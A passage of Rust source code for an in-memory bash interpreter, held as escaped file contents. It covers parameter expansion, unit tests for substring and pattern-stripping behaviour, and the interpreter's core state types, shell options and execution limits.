if ch == '\"' {\n                        break;\n                    }\n                    if ch == '\\\\' {\n                        if let Some(&next) = chars.peek()\n                            && matches!(next, '$' | '`' | '\"' | '\\\\')\n                        {\n                            inner.push(next);\n                            chars.next();\n                            continue;\n                        }\n                        inner.push('\\\\');\n                    } else {\n                        inner.push(ch);\n                    }\n                }\n                let expanded = expand_raw_string_ctx(&inner, state, true)?;\n                result.push_str(&expanded);\n            }\n            '$' => {\n                if let Some(expanded) = expand_simple_parameter_reference(&mut chars, state) {\n                    result.push_str(&expanded);\n                } else {\n                    result.push('$');\n                }\n            }\n            _ => {\n                result.push(c);\n            }\n        }\n    }\n    Ok(result)\n}\n\nfn expand_simple_parameter_reference(\n    chars: &mut std::iter::Peekable<std::str::Chars<'_>>,\n    state: &InterpreterState,\n) -> Option<String> {\n    if chars.peek() == Some(&'{') {\n        chars.next();\n        let mut name = String::new();\n        for ch in chars.by_ref() {\n            if ch == '}' {\n                break;\n            }\n            name.push(ch);\n        }\n        return Some(resolve_pattern_var(&name, state));\n    }\n\n    if let Some(&ch) = chars.peek()\n        && matches!(ch, '@' | '*' | '#' | '?' | '-' | '$' | '!')\n    {\n        chars.next();\n        return Some(resolve_pattern_var(&ch.to_string(), state));\n    }\n\n    let mut name = String::new();\n    while let Some(&ch) = chars.peek() {\n        if ch.is_ascii_alphanumeric() || ch == '_' {\n            chars.next();\n            name.push(ch);\n        } else {\n            break;\n        }\n    }\n\n    if name.is_empty() {\n        None\n    } else {\n        Some(resolve_pattern_var(&name, state))\n    }\n}\n\nfn resolve_pattern_var(name: &str, state: &InterpreterState) -> String {\n    if name.chars().all(|ch| ch.is_ascii_digit()) {\n        return if name == \"0\" {\n            state.shell_name.clone()\n        } else {\n            name.parse::<usize>()\n                .ok()\n                .and_then(|n| state.positional_params.get(n.saturating_sub(1)))\n                .cloned()\n                .unwrap_or_default()\n        };\n    }\n\n    match name {\n        \"@\" => return state.positional_params.join(\" \"),\n        \"*\" => {\n            let sep = match get_var(state, \"IFS\") {\n                Some(s) => s.chars().next().map(|c| c.to_string()).unwrap_or_default(),\n                None => \" \".to_string(),\n            };\n            return state.positional_params.join(&sep);\n        }\n        \"#\" => return state.positional_params.len().to_string(),\n        \"?\" => return state.last_exit_code.to_string(),\n        \"-\" => return String::new(),\n        \"$\" => return \"1\".to_string(),\n        \"!\" => return String::new(),\n        _ => {}\n    }\n\n    let resolved = crate::interpreter::resolve_nameref_or_self(name, state);\n    state\n        .env\n        .get(&resolved)\n        .map(|v| v.value.as_scalar().to_string())\n        .unwrap_or_default()\n}\n\nfn normalize_patsub_slashes<'a>(\n    pattern: &'a str,\n    replacement: Option<&'a str>,\n) -> (&'a str, Option<&'a str>) {\n    if pattern.is_empty()\n        && let Some(repl) = replacement\n        && let Some(stripped) = repl.strip_prefix('/')\n    {\n        return (\"/\", Some(stripped));\n    }\n    (pattern, replacement)\n}\n\nfn is_byte_locale(state: &InterpreterState) -> bool {\n    matches!(\n        get_var(state, \"LC_ALL\").as_deref(),\n        Some(\"C\") | Some(\"POSIX\")\n    )\n}\n\nfn string_length(val: &str, state: &InterpreterState) -> usize {\n    if is_byte_locale(state) {\n        val.len()\n    } else {\n        val.chars().count()\n    }\n}\n\n/// This handles cases like `$((${zero}11))` where `zero=0` should yield `011`.\npub(crate) fn expand_arith_expression(\n    expr: &str,\n    state: &mut InterpreterState,\n) -> Result<String, RustBashError> {\n    // Preserve literal quotes and # characters when no shell expansion is needed so\n    // the arithmetic tokenizer can reject them with bash-like errors.\n    if !expr.contains('$') && !expr.contains('`') {\n        return Ok(expr.to_string());\n    }\n    // Parse the expression as a shell word and expand it.\n    let word = ast::Word {\n        value: expr.to_string(),\n        loc: None,\n    };\n    expand_word_to_string_mut(&word, state)\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::interpreter::{\n        ExecutionCounters, ExecutionLimits, InterpreterState, ShellOpts, ShoptOpts, Variable,\n        VariableAttrs, VariableValue,\n    };\n    use crate::network::NetworkPolicy;\n    use crate::vfs::InMemoryFs;\n    use brush_parser::word::{ParameterExpr, WordPiece};\n    use std::collections::{BTreeMap, HashMap};\n    use std::sync::Arc;\n\n    fn make_state() -> InterpreterState {\n        InterpreterState {\n            fs: Arc::new(InMemoryFs::new()),\n            env: HashMap::from([(\n                \"foo\".to_string(),\n                Variable {\n                    value: VariableValue::Scalar(\"a b c d\".to_string()),\n                    attrs: VariableAttrs::empty(),\n                },\n            )]),\n            cwd: \"/\".to_string(),\n            functions: HashMap::new(),\n            last_exit_code: 0,\n            commands: HashMap::new(),\n            shell_opts: ShellOpts::default(),\n            shopt_opts: ShoptOpts::default(),\n            limits: ExecutionLimits::default(),\n            counters: ExecutionCounters::default(),\n            network_policy: NetworkPolicy::default(),\n            should_exit: false,\n            abort_command_list: false,\n            loop_depth: 0,\n            control_flow: None,\n            positional_params: Vec::new(),\n            shell_name: \"rust-bash\".to_string(),\n            shell_pid: 1000,\n            bash_pid: 1000,\n            parent_pid: 1,\n            next_process_id: 1001,\n            last_background_pid: None,\n            last_background_status: None,\n            interactive_shell: false,\n            invoked_with_c: false,\n            random_seed: 42,\n            local_scopes: Vec::new(),\n            temp_binding_scopes: Vec::new(),\n            in_function_depth: 0,\n            source_depth: 0,\n            getopts_subpos: 0,\n            getopts_args_signature: String::new(),\n            traps: HashMap::new(),\n            in_trap: false,\n            errexit_suppressed: 0,\n            errexit_bang_suppressed: 0,\n            stdin_offset: 0,\n            current_stdin_persistent_fd: None,\n            dir_stack: Vec::new(),\n            command_hash: HashMap::new(),\n            aliases: HashMap::new(),\n            current_lineno: 0,\n            current_source: \"main\".to_string(),\n            current_source_text: String::new(),\n            last_verbose_line: 0,\n            shell_start_time: crate::platform::Instant::now(),\n            last_argument: String::new(),\n            call_stack: Vec::new(),\n            machtype: \"x86_64-pc-linux-gnu\".to_string(),\n            hosttype: \"x86_64\".to_string(),\n            persistent_fds: HashMap::new(),\n            persistent_fd_offsets: HashMap::new(),\n            next_auto_fd: 10,\n            proc_sub_counter: 0,\n            proc_sub_prealloc: HashMap::new(),\n            pipe_stdin_bytes: None,\n            pending_cmdsub_stderr: String::new(),\n            pending_test_stderr: String::new(),\n            fatal_expansion_error: false,\n            last_command_had_error: false,\n            last_status_immune_to_errexit: false,\n            script_source: None,\n        }\n    }\n\n    #[test]\n    fn parser_keeps_double_spaces_in_strip_pattern() {\n        let pieces =\n            brush_parser::word::parse(\"${foo%c  d}\", &crate::interpreter::parser_options())\n                .unwrap();\n        let pattern = match &pieces[0].piece {\n            WordPiece::ParameterExpansion(ParameterExpr::RemoveSmallestSuffixPattern {\n                pattern: Some(pattern),\n                ..\n            }) => pattern,\n            other => panic!(\"unexpected parse result: {other:?}\"),\n        };\n        assert_eq!(pattern, \"c  d\");\n    }\n\n    #[test]\n    fn strip_pattern_respects_double_space_literals() {\n        let mut state = make_state();\n        let first = ast::Word {\n            value: \"\\\"${foo%c d}\\\"\".to_string(),\n            loc: None,\n        };\n        let second = ast::Word {\n            value: \"\\\"${foo%c  d}\\\"\".to_string(),\n            loc: None,\n        };\n\n        let first = expand_word_mut(&first, &mut state).unwrap();\n        let second = expand_word_mut(&second, &mut state).unwrap();\n\n        assert_eq!(first, vec![\"a b \".to_string()]);\n        assert_eq!(second, vec![\"a b c d\".to_string()]);\n    }\n\n    #[test]\n    fn command_parser_keeps_double_spaces_in_quoted_strip_pattern() {\n        let program = crate::interpreter::parse(\"argv.py \\\"${foo%c d}\\\" \\\"${foo%c  d}\\\"\").unwrap();\n        let pipeline = &program.complete_commands[0].0[0].0.first;\n        let cmd = match &pipeline.seq[0] {\n            ast::Command::Simple(simple) => simple,\n            other => panic!(\"unexpected command: {other:?}\"),\n        };\n\n        let suffix = cmd.suffix.as_ref().unwrap();\n        let second = match &suffix.0[0] {\n            ast::CommandPrefixOrSuffixItem::Word(word) => word,\n            other => panic!(\"unexpected suffix item: {other:?}\"),\n        };\n        assert_eq!(second.value, \"\\\"${foo%c d}\\\"\");\n\n        let third = match &suffix.0[1] {\n            ast::CommandPrefixOrSuffixItem::Word(word) => word,\n            other => panic!(\"unexpected suffix item: {other:?}\"),\n        };\n        assert_eq!(third.value, \"\\\"${foo%c  d}\\\"\");\n    }\n\n    #[test]\n    fn length_slice_syntax_is_bad_substitution() {\n        let mut state = make_state();\n        let word = ast::Word {\n            value: \"${#foo:1:3}\".to_string(),\n            loc: None,\n        };\n        let err = expand_word_mut(&word, &mut state).unwrap_err();\n        assert!(matches!(\n            err,\n            RustBashError::Execution(msg) if msg.contains(\"bad substitution\")\n        ));\n    }\n\n    #[test]\n    fn empty_slice_offset_is_bad_substitution() {\n        let mut state = make_state();\n        let word = ast::Word {\n            value: \"${foo:}\".to_string(),\n            loc: None,\n        };\n        let err = expand_word_mut(&word, &mut state).unwrap_err();\n        assert!(matches!(\n            err,\n            RustBashError::Execution(msg) if msg.contains(\"bad substitution\")\n        ));\n    }\n\n    #[test]\n    fn slice_respects_nounset() {\n        let mut state = make_state();\n        state.shell_opts.nounset = true;\n        let word = ast::Word {\n            value: \"${undef:1:2}\".to_string(),\n            loc: None,\n        };\n        let err = expand_word_mut(&word, &mut state).unwrap_err();\n        assert!(matches!(\n            err,\n            RustBashError::ExpansionError { message, .. }\n                if message.contains(\"undef: unbound variable\")\n        ));\n    }\n\n    #[test]\n    fn positional_slice_zero_offset_includes_shell_name() {\n        let mut state = make_state();\n        state.shell_name = \"shell\".to_string();\n        state.positional_params = vec![\"a 1\".to_string(), \"b 2\".to_string()];\n        let word = ast::Word {\n            value: \"\\\"${@:0:2}\\\"\".to_string(),\n            loc: None,\n        };\n        assert_eq!(\n            expand_word_mut(&word, &mut state).unwrap(),\n            vec![\"shell\".to_string(), \"a 1\".to_string()]\n        );\n    }\n\n    #[test]\n    fn immutable_positional_slice_negative_length_is_an_error() {\n        let mut state = make_state();\n        state.positional_params = vec![\"a\".to_string(), \"b\".to_string(), \"c\".to_string()];\n        let word = ast::Word {\n            value: \"\\\"${@:2:-3}\\\"\".to_string(),\n            loc: None,\n        };\n        let err = expand_word(&word, &state).unwrap_err();\n        assert!(matches!(\n            err,\n            RustBashError::ExpansionError { message, .. }\n                if message.contains(\"-3: substring expression < 0\")\n        ));\n    }\n\n    #[test]\n    fn mutable_array_slice_negative_length_reports_length_expr() {\n        let mut state = make_state();\n        state.env.insert(\n            \"arr\".to_string(),\n            Variable {\n                value: VariableValue::IndexedArray(BTreeMap::from([\n                    (0, \"a\".to_string()),\n                    (1, \"b\".to_string()),\n                    (2, \"c\".to_string()),\n                ])),\n                attrs: VariableAttrs::empty(),\n            },\n        );\n        let word = ast::Word {\n            value: \"\\\"${arr[@]:1:-2}\\\"\".to_string(),\n            loc: None,\n        };\n        let err = expand_word_mut(&word, &mut state).unwrap_err();\n        assert!(matches!(\n            err,\n            RustBashError::ExpansionError { message, .. }\n                if message.contains(\"-2: substring expression < 0\")\n        ));\n    }\n\n    #[test]\n    fn brace_expansion_precedes_tilde_for_root_home_mix() {\n        let mut state = make_state();\n        state.env.insert(\n            \"HOME\".to_string(),\n            Variable {\n                value: VariableValue::Scalar(\"/home/bob\".to_string()),\n                attrs: VariableAttrs::empty(),\n            },\n        );\n        let word = ast::Word {\n            value: \"~{/src,root}\".to_string(),\n            loc: None,\n        };\n        assert_eq!(\n            expand_word_mut(&word, &mut state).unwrap(),\n            vec![\"/home/bob/src\".to_string(), \"/root\".to_string()]\n        );\n    }\n}\n","/home/user/src/interpreter/mod.rs":"//! Interpreter engine: parsing, AST walking, and execution state.\n\npub(crate) mod arithmetic;\npub(crate) mod brace;\npub(crate) mod builtins;\nmod expansion;\npub(crate) mod pattern;\nmod walker;\n\nuse crate::commands::VirtualCommand;\nuse crate::error::RustBashError;\nuse crate::network::NetworkPolicy;\nuse crate::platform::Instant;\nuse crate::vfs::VirtualFs;\nuse bitflags::bitflags;\nuse brush_parser::ast;\nuse std::collections::{BTreeMap, HashMap};\nuse std::sync::Arc;\nuse std::time::Duration;\n\npub use builtins::builtin_names;\npub use expansion::expand_word;\npub use walker::execute_program;\n\n// ── Core types ───────────────────────────────────────────────────────\n\n/// Signal for loop control flow (`break`, `continue`) and function return.\n#[derive(Debug, Clone, PartialEq, Eq)]\npub enum ControlFlow {\n    Break(usize),\n    Continue(usize),\n    Return(i32),\n}\n\n/// Result of executing a shell command.\n#[derive(Debug, Clone, Default, PartialEq, Eq)]\npub struct ExecResult {\n    pub stdout: String,\n    pub stderr: String,\n    pub exit_code: i32,\n    /// Binary output for commands that produce non-text data.\n    pub stdout_bytes: Option<Vec<u8>>,\n}\n\n// ── Variable types ──────────────────────────────────────────────────\n\n/// The value stored in a shell variable: scalar, indexed array, or associative array.\n#[derive(Debug, Clone, PartialEq)]\npub enum VariableValue {\n    Scalar(String),\n    IndexedArray(BTreeMap<usize, String>),\n    AssociativeArray(BTreeMap<String, String>),\n}\n\nimpl VariableValue {\n    /// Return the scalar value, or element \\[0\\] for indexed arrays,\n    /// or empty string for associative arrays (matches bash behavior).\n    pub fn as_scalar(&self) -> &str {\n        match self {\n            VariableValue::Scalar(s) => s,\n            VariableValue::IndexedArray(map) => map.get(&0).map(|s| s.as_str()).unwrap_or(\"\"),\n            VariableValue::AssociativeArray(map) => map.get(\"0\").map(|s| s.as_str()).unwrap_or(\"\"),\n        }\n    }\n\n    /// Return element count for arrays, or 1 for non-empty scalars.\n    pub fn count(&self) -> usize {\n        match self {\n            VariableValue::Scalar(s) => usize::from(!s.is_empty()),\n            VariableValue::IndexedArray(map) => map.len(),\n            VariableValue::AssociativeArray(map) => map.len(),\n        }\n    }\n}\n\nbitflags! {\n    /// Attribute flags for a shell variable.\n    #[derive(Debug, Clone, Copy, PartialEq, Eq)]\n    pub struct VariableAttrs: u8 {\n        const EXPORTED  = 0b0000_0001;\n        const READONLY  = 0b0000_0010;\n        const INTEGER   = 0b0000_0100;\n        const LOWERCASE = 0b0000_1000;\n        const UPPERCASE = 0b0001_0000;\n        const NAMEREF   = 0b0010_0000;\n        /// Variable was declared but never assigned a value.\n        const DECLARED_ONLY = 0b0100_0000;\n        /// `declare -p` should emit associative entries in bash's reverse hash-style order.\n        const ASSOC_REVERSE_PRINT = 0b1000_0000;\n    }\n}\n\n/// A shell variable with metadata.\n#[derive(Debug, Clone)]\npub struct Variable {\n    pub value: VariableValue,\n    pub attrs: VariableAttrs,\n}\n\n/// A persistent file descriptor redirection established by `exec`.\n#[derive(Debug, Clone)]\npub(crate) enum PersistentFd {\n    /// FD writes to this VFS path.\n    OutputFile(String),\n    /// FD reads from this VFS path.\n    InputFile(String),\n    /// FD is open for both reading and writing on this VFS path.\n    ReadWriteFile(String),\n    /// FD points to /dev/null (reads empty, writes discarded).\n    DevNull,\n    /// FD is closed.\n    Closed,\n    /// FD is a duplicate of a standard fd (0=stdin, 1=stdout, 2=stderr).\n    DupStdFd(i32),\n}\n\nimpl Variable {\n    /// Convenience: is this variable exported?\n    pub fn exported(&self) -> bool {\n        self.attrs.contains(VariableAttrs::EXPORTED)\n    }\n\n    /// Convenience: is this variable readonly?\n    pub fn readonly(&self) -> bool {\n        self.attrs.contains(VariableAttrs::READONLY)\n    }\n}\n\n/// Execution limits.\n#[derive(Debug, Clone)]\npub struct ExecutionLimits {\n    pub max_call_depth: usize,\n    pub max_command_count: usize,\n    pub max_loop_iterations: usize,\n    pub max_execution_time: Duration,\n    pub max_output_size: usize,\n    pub max_string_length: usize,\n    pub max_glob_results: usize,\n    pub max_substitution_depth: usize,\n    pub max_heredoc_size: usize,\n    pub max_brace_expansion: usize,\n    pub max_array_elements: usize,\n}\n\nimpl Default for ExecutionLimits {\n    fn default() -> Self {\n        Self {\n            max_call_depth: 25,\n            max_command_count: 10_000,\n            max_loop_iterations: 10_000,\n            max_execution_time: Duration::from_secs(30),\n            max_output_size: 10 * 1024 * 1024,\n            max_string_length: 10 * 1024 * 1024,\n            max_glob_results: 100_000,\n            max_substitution_depth: 50,\n            max_heredoc_size: 10 * 1024 * 1024,\n            max_brace_expansion: 10_000,\n            max_array_elements: 100_000,\n        }\n    }\n}\n\n/// Execution counters, reset per `exec()` call.\n#[derive(Debug, Clone)]\npub struct ExecutionCounters {\n    pub command_count: usize,\n    pub call_depth: usize,\n    pub output_size: usize,\n    pub start_time: Instant,\n    pub substitution_depth: usize,\n}\n\nimpl Default for ExecutionCounters {\n    fn default() -> Self {\n        Self {\n            command_count: 0,\n            call_depth: 0,\n            output_size: 0,\n            start_time: Instant::now(),\n            substitution_depth: 0,\n        }\n    }\n}\n\nimpl ExecutionCounters {\n    pub fn reset(&mut self) {\n        *self = Self::default();\n    }\n}\n\n/// Shell options controlled by `set -o` / `set +o` and single-letter flags.\n#[derive(Debug, Clone, Default)]\npub struct ShellOpts {\n    pub errexit: bool,\n    pub nounset: bool,\n    pub pipefail: bool,\n    pub xtrace: bool,\n    pub verbose: bool,\n    pub noexec: bool,\n    pub noclobber: bool,\n    pub allexport: bool,\n    pub noglob: bool,\n    pub posix: bool,\n    pub vi_mode: bool,\n    pub emacs_mode: bool,\n}\n\n/// Shopt options (`shopt -s`/`-u` flags).\n#[derive(Debug, Clone)]\npub struct ShoptOpts {\n    pub strict_arg_parse: bool,\n    pub strict_argv: bool,\n    pub strict_array: bool,\n    pub nullglob: bool,\n    pub globstar: bool,\n    pub dotglob: bool,\n    pub globskipdots: bool,\n    pub failglob: bool,\n    pub nocaseglob: bool,\n    pub nocasematch: bool,\n    pub lastpipe: bool,\n    pub expand_aliases: bool,\n    pub xpg_echo: bool,\n    pub extglob: bool,\n    pub progcomp: bool,\n    pub hostcomplete: bool,\n    pub complete_fullquote: bool,\n    pub sourcepath: bool,\n    pub promptvars: bool,\n    pub interactive_comments: bool,\n    pub cmdhist: bool,\n    pub lithist: bool,\n    pub autocd: bool,\n    pub cdspell: bool,\n    pub dirspell: bool,\n    pub direxpand: bool,\n    pub checkhash: bool,\n    pub checkjobs: bool,\n    pub checkwinsize: bool,\n    pub extquote: bool,\n    pub force_fignore: bool,\n    pub globasciiranges: bool,\n    pub gnu_errfmt: bool,\n    pub histappend: bool,\n    pub histreedit: bool,\n    pub histverify: bool,\n    pub huponexit: bool,\n    pub inherit_errexit: bool,\n    pub login_shell: bool,\n    pub mailwarn: bool,\n    pub no_empty_cmd_completion: bool,\n    pub progcomp_alias: bool,\n    pub shift_verbose: bool,\n    pub execfail: bool,\n    pub cdable_vars: bool,\n    pub localvar_inherit: bool,\n    pub localvar_unset: bool,\n    pub extdebug: bool,\n    pub strict_arith: bool,\n    pub patsub_replacement: bool,\n    pub assoc_expand_once: bool,\n    pub varredir_close: bool,\n}\n\nimpl Default for ShoptOpts {\n    fn default() -> Self {\n        Self {\n            strict_arg_parse: false,\n            strict_argv: false,\n            strict_array: false,\n            nullglob: false,\n            globstar: false,\n            dotglob: false,\n            globskipdots: true,\n            failglob: false,\n            nocaseglob: false,\n            nocasematch: false,\n            lastpipe: false,\n            expand_aliases: false,\n            xpg_echo: false,\n            extglob: true,\n            progcomp: true,\n            hostcomplete: true,\n            complete_fullquote: true,\n            sourcepath: true,\n            promptvars: true,\n            interactive_comments: true,\n            cmdhist: true,\n            lithist: false,\n            autocd: false,\n            cdspell: false,\n            dirspell: false,\n            direxpand: false,\n            checkhash: false,\n            checkjobs: false,\n            checkwinsize: true,\n            extquote: true,\n            force_fignore: true,\n            globasciiranges: true,\n            gnu_errfmt: false,\n            histappend: false,\n            histreedit: false,\n            histverify: false,\n            huponexit: false,\n            inherit_errexit: false,\n            login_shell: false,\n            mailwarn: false,\n            no_empty_cmd_completion: false,\n            progcomp_alias: false,\n            shift_verbose: false,\n            execfail: false,\n            cdable_vars: false,\n            localvar_inherit: false,\n            localvar_unset: false,\n            extdebug: false,\n            strict_arith: false,\n            patsub_replacement: true,\n            assoc_expand_once: false,\n            varredir_close: false,\n        }\n    }\n}\n\n/// Stub for function definitions (execution in a future phase).\n#[derive(Debug, Clone)]\npub struct FunctionDef {\n    pub body: ast::FunctionBody,\n    pub definition: String,\n    pub source: String,\n    pub source_text: String,\n    pub lineno: usize,\n}\n\n/// A single frame on the function call stack, used to expose\n/// `FUNCNAME`, `BASH_SOURCE`, and `BASH_LINENO` arrays.\n#[derive(Debug, Clone)]\npub struct CallFrame {\n    pub func_name: String,\n    pub source: String,\n    pub lineno: usize,\n}\n\n/// The interpreter's mutable state, persistent across `exec()` calls.\npub struct InterpreterState {\n    pub fs: Arc<dyn VirtualFs>,\n    pub env: HashMap<String, Variable>,\n    pub cwd: String,\n    pub functions: HashMap<String, FunctionDef>,\n    pub last_exit_code: i32,\n    pub commands: HashMap<String, Arc<dyn VirtualCommand>>,\n    pub shell_opts: ShellOpts,\n    pub shopt_opts: ShoptOpts,\n    pub limits: ExecutionLimits,\n    pub counters: ExecutionCounters,\n    pub network_policy: NetworkPolicy,\n    pub(crate) should_exit: bool,\n    /// When set, the current compound list (semicolon-separated command sequence)\n    /// is aborted. Cleared at the end of each compound list.\n    pub(crate) abort_command_list: bool,\n    pub(crate) loop_depth: usize,\n    pub(crate) control_flow: Option<ControlFlow>,\n    pub positional_params: Vec<String>,\n    pub shell_name: String,\n    /// `$${}` / `$$` value: fixed for the lifetime of a shell invocation tree.\n    pub(crate) shell_pid: u32,\n    /// Current shell process identity, exposed as `$BASHPID`.\n    pub(crate) bash_pid: u32,\n    /// Parent process identity, exposed as `$PPID`.\n    pub(crate) parent_pid: u32,\n    /// Monotonic allocator for subshell/command-substitution/background PIDs.\n    pub(crate) next_process_id: u32,\n    /// Last background process ID, exposed as `$!`.\n    pub(crate) last_background_pid: Option<u32>,\n    /// Exit status of the most recently launched background job.\n    pub(crate) last_background_status: Option<i32>,\n    pub interactive_shell: bool,\n    pub invoked_with_c: bool,\n    /// Simple PRNG state for $RANDOM.\n    pub(crate) random_seed: u32,\n    /// Stack of restore maps for `local` variable scoping in functions.\n    pub(crate) local_scopes: Vec<HashMap<String, Option<Variable>>>,\n    /// Stack of temporary prefix-assignment frames active for the current command.\n    pub(crate) temp_binding_scopes: Vec<HashMap<String, Option<Variable>>>,\n    /// How many function calls deep we are (for `local`/`return` validation).\n    pub(crate) in_function_depth: usize,\n    /// Nesting depth of active `source` / `.` executions.\n    pub(crate) source_depth: usize,\n    /// Internal `getopts` index within the current clustered short-option argument.\n    pub(crate) getopts_subpos: usize,\n    /// Signature of the argv vector most recently parsed by `getopts`.\n    pub(crate) getopts_args_signature: String,\n    /// Registered trap handlers: signal/event name → command string.\n    pub(crate) traps: HashMap<String, String>,\n    /// True while executing a trap handler (prevents recursive re-trigger).\n    pub(crate) in_trap: bool,\n    /// Nesting depth for contexts where `set -e` should NOT trigger an exit.\n    /// Incremented when entering if/while/until conditions, `&&`/`||` left sides, or `!` pipelines.\n    pub(crate) errexit_suppressed: usize,\n    /// Nesting depth for `!` pipelines, which bash treats specially when `set -e` is re-enabled.\n    pub(crate) errexit_bang_suppressed: usize,\n    /// Byte offset into the current stdin stream, used by `read` to consume\n    /// successive lines from piped input across loop iterations.\n    pub(crate) stdin_offset: usize,\n    /// The persistent FD currently supplying stdin for the active command, if any.\n    pub(crate) current_stdin_persistent_fd: Option<i32>,\n    /// Directory stack for `pushd`/`popd`/`dirs`.\n    pub(crate) dir_stack: Vec<String>,\n    /// Cached command-name → resolved-path mappings for `hash`.\n    pub(crate) command_hash: HashMap<String, String>,\n    /// Alias name → expansion string for `alias`/`unalias`.\n    pub(crate) aliases: HashMap<String, String>,\n    /// Current line number, updated per-statement from AST source positions.\n    pub(crate) current_lineno: usize,\n    /// Current source file or synthetic top-level label for function metadata.\n    pub(crate) current_source: String,\n    /// Full source text for the currently executing parsed program.\n    pub(crate) current_source_text: String,\n    /// Last source line printed for `set -o verbose`.\n    pub(crate) last_verbose_line: usize,\n    /// Shell start time for `$SECONDS`.\n    pub(crate) shell_start_time: Instant,\n    /// Last argument of the previous simple command (`$_`).\n    pub(crate) last_argument: String,\n    /// Function call stack for `FUNCNAME`, `BASH_SOURCE`, `BASH_LINENO`.\n    pub(crate) call_stack: Vec<CallFrame>,\n    /// Configurable `$MACHTYPE` value.\n    pub(crate) machtype: String,\n    /// Configurable `$HOSTTYPE` value.\n    pub(crate) hosttype: String,\n    /// Persistent FD redirections set by `exec` (e.g. `exec > file`).\n    pub(crate) persistent_fds: HashMap<i32, PersistentFd>,\n    /// Current read/write position for persistent file descriptors.\n    pub(crate) persistent_fd_offsets: HashMap<i32, usize>,\n    /// Next auto-allocated FD number for `{varname}>file` syntax.\n    pub(crate) next_auto_fd: i32,\n    /// Counter for generating unique process substitution temp file names.\n    pub(crate) proc_sub_counter: u64,\n    /// Pre-allocated temp file paths for redirect process substitutions, keyed by\n    /// the pointer address of the `IoFileRedirectTarget` AST node.  This ensures\n    /// each redirect resolves to its own pre-allocated path regardless of the order\n    /// in which input/output redirect resolution visits them.\n    pub(crate) proc_sub_prealloc: HashMap<usize, String>,\n    /// Binary data from the previous pipeline stage, set by `execute_pipeline()`\n    /// and consumed by `dispatch_command()` to populate `CommandContext::stdin_bytes`.\n    pub(crate) pipe_stdin_bytes: Option<Vec<u8>>,\n    /// Stderr accumulated from command substitutions during word expansion.\n    /// Drained by the enclosing command execution into its `ExecResult.stderr`.\n    pub(crate) pending_cmdsub_stderr: String,\n    /// Stderr accumulated from `[[ -v ]]` tests (e.g. OOB negative array indices).\n    pub(crate) pending_test_stderr: String,\n    /// Set when a fatal parameter expansion error terminates the current shell.\n    pub(crate) fatal_expansion_error: bool,\n    /// Distinguishes shell/runtime errors from ordinary non-zero command exits.\n    pub(crate) last_command_had_error: bool,\n    /// True when the last non-zero status came from a context exempt from `set -e`.\n    pub(crate) last_status_immune_to_errexit: bool,\n    /// When set, the current execution context was invoked as a script file\n    /// (not `-c` or sourced). Used to synthesize a \"main\" FUNCNAME entry.\n    pub(crate) script_source: Option<String>,\n}\n\npub(crate) const DEFAULT_PATH: &str = \"/usr/bin:/bin\";\npub(crate) const DEFAULT_HOME: &str = \"/home/user\";\npub(crate) const DEFAULT_USER: &str = \"user\";\npub(crate) const DEFAULT_HOSTNAME: &str = \"rust-bash\";\npub(crate) const DEFAULT_OSTYPE: &str = \"linux-gnu\";\npub(crate) const DEFAULT_SHELL_PATH: &str = \"/bin/bash\";\npub(crate) const DEFAULT_BASH_VERSION: &str = env!(\"CARGO_PKG_VERSION\");\npub(crate) const DEFAULT_TERM: &str = \"xterm-256color\";\npub(crate) const DEFAULT_IFS: &str = \" \\t\\n\";\n\nfn exported_scalar(value: impl Into<String>) -> Variable {\n    Variable {\n        value: VariableValue::Scalar(value.into()),\n        attrs: VariableAttrs::EXPORTED,\n    }\n}\n\nfn shell_scalar(value: impl Into<String>) -> Variable {\n    Variable {\n        value: VariableValue::Scalar(value.into()),\n        attrs: VariableAttrs::empty(),\n    }\n}\n\npub(crate) fn ensure_shell_internal_vars(state: &mut InterpreterState) {\n    for (name, value) in [(\"OPTIND\", \"1\"), (\"OPTERR\", \"1\"), (\"IFS\", DEFAULT_IFS)] {\n        state\n            .env\n            .entry(name.to_string())\n            .or_insert_with(|| shell_scalar(value));\n    }\n\n    state\n        .env\n        .entry(\"SHELLOPTS\".to_string())\n        .or_insert(Variable {\n            value: VariableValue::Scalar(String::new()),\n            attrs: VariableAttrs::READONLY,\n        });\n    state.env.entry(\"BASHOPTS\".to_string()).or_insert(Variable {\n        value: VariableValue::Scalar(String::new()),\n        attrs: VariableAttrs::READONLY,\n    });\n\n    state\n        .env\n        .entry(\"PS4\".to_string())\n        .or_insert_with(|| shell_scalar(\"+ \"));\n}\n\npub(crate) fn ensure_nested_shell_startup_vars(state: &mut InterpreterState) {\n    for (name, value) in [\n        (\"PATH\", DEFAULT_PATH),\n        (\"SHELL\", DEFAULT_SHELL_PATH),\n        (\"BASH\", DEFAULT_SHELL_PATH),\n        (\"BASH_VERSION\", DEFAULT_BASH_VERSION),\n    ] {\n        state\n            .env\n            .entry(name.to_string())\n            .or_insert_with(|| exported_scalar(value));\n    }\n\n    state\n        .env\n        .entry(\"PWD\".to_string())\n        .or_insert_with(|| exported_scalar(state.cwd.clone()));\n\n    if state.interactive_shell {\n        state\n            .env\n            .entry(\"HISTFILE\".to_string())\n            .or_insert_with(|| shell_scalar(\".bash_history\"));\n    }\n\n    ensure_shell_internal_vars(state);\n}\n\npub(crate) fn next_child_pid(state: &mut InterpreterState) -> u32 {\n    let pid = state.next_process_id;\n    state.next_process_id += 1;\n    pid\n}\n\npub(crate) fn fold_child_process_state(parent: &mut InterpreterState, child: &InterpreterState) {\n    parent.next_process_id = parent.next_process_id.max(child.next_process_id);\n}\n\n// ── Parsing ──────────────────────────────────────────────────────────\n\npub(crate) fn parser_options() -> brush_parser::ParserOptions {\n    brush_parser::ParserOptions {\n        sh_mode: false,\n        posix_mode: false,\n        enable_extended_globbing: true,\n        tilde_expansion_at_word_start: true,\n        tilde_expansion_after_colon: true,\n        ..Default::default()\n    }\n}\n\n/// Parse a shell input string into an AST.\npub fn parse(input: &str) -> Result<ast::Program, RustBashError> {\n    let mut parse_input =\n        rewrite_legacy_ksh_command_substitutions(input).unwrap_or_else(|| input.to_string());\n    if let Some(rewritten) = rewrite_assignment_prefixed_dbracket(&parse_input) {\n        parse_input = rewritten;\n    }\n    let raw_tokens = match brush_parser::tokenize_str(&parse_input) {\n        Ok(tokens) => tokens,\n        Err(err) => {\n            if let Some(rewritten) = rewrite_expansion_like_heredoc_delimiters(input)\n                && let Ok(tokens) = brush_parser::tokenize_str(&rewritten)\n            {\n                parse_input = rewritten;\n                tokens\n            } else {\n                return Err(RustBashError::Parse(err.to_string()));\n            }\n        }\n    };\n    let tokens = rebuild_tokens_from_source(&parse_input, 